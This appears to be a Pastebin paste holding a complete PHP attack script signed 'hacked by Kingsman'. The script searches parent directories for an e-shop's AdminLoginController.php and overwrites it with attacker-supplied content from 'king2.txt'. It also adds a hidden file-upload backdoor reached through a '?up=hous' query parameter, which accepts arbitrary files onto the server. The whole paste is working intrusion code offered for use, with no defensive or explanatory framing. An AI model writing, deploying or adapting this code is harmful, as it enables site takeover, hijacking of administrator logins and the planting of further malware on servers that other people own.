Seckiller

king1

Feb 28th, 2020
51
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.22 KB | None | 0 0
  1. <?php
  2. echo "hacked by Kingsman";
  3. $sss=array('/','../','../../','../../../','../../../../','../../../../../');
  4. foreach($sss as $pa){
  5. $p1=array("$pa/controllers/admin/AdminLoginController.php","$pa/controllers/AdminLoginController.php");
  6. foreach($p1 as $path){
  7. if (file_exists("$path"))
  8. {
  9. $file = 'king2.txt';
  10. $html= file_get_contents($file);
  11. $save=fopen($path,'w');
  12. fwrite($save,$html);
  13. echo "<br> ./done panel <br>";
  14. }}}
  15. if($_GET['up']=="hous"){
  16. echo '<center><font color="Red" size="4">';
  17. /// Script Upload By Kingsman\\\
  18. if(isset($_POST['Submit'])){
  19. $filedir = "";
  20. $maxfile = '2000000';
  21. $mode = '0644';
  22. $userfile_name = $_FILES['image']['name'];
  23. $userfile_tmp = $_FILES['image']['tmp_name'];
  24. if(isset($_FILES['image']['name'])) {
  25. $qx = $filedir.$userfile_name;
  26. @move_uploaded_file($userfile_tmp, $qx);
  27. @chmod ($qx, octdec($mode));
  28. echo" <a href=$userfile_name><center><b>Sucess Upload :D ==> $userfile_name</b></center></a>";
  29. }
  30. }
  31. else{
  32. echo'<form method="POST" action="#" enctype="multipart/form-data"><input type="file" name="image"><br><input type="Submit" name="Submit" value="Upload"></form>';
  33. }
  34. echo "<br> Fucked up Good :D <br>";
  35. echo '</center></font>';
  36.  
  37. }
  38. ?>
Add Comment
Please, Sign In to add comment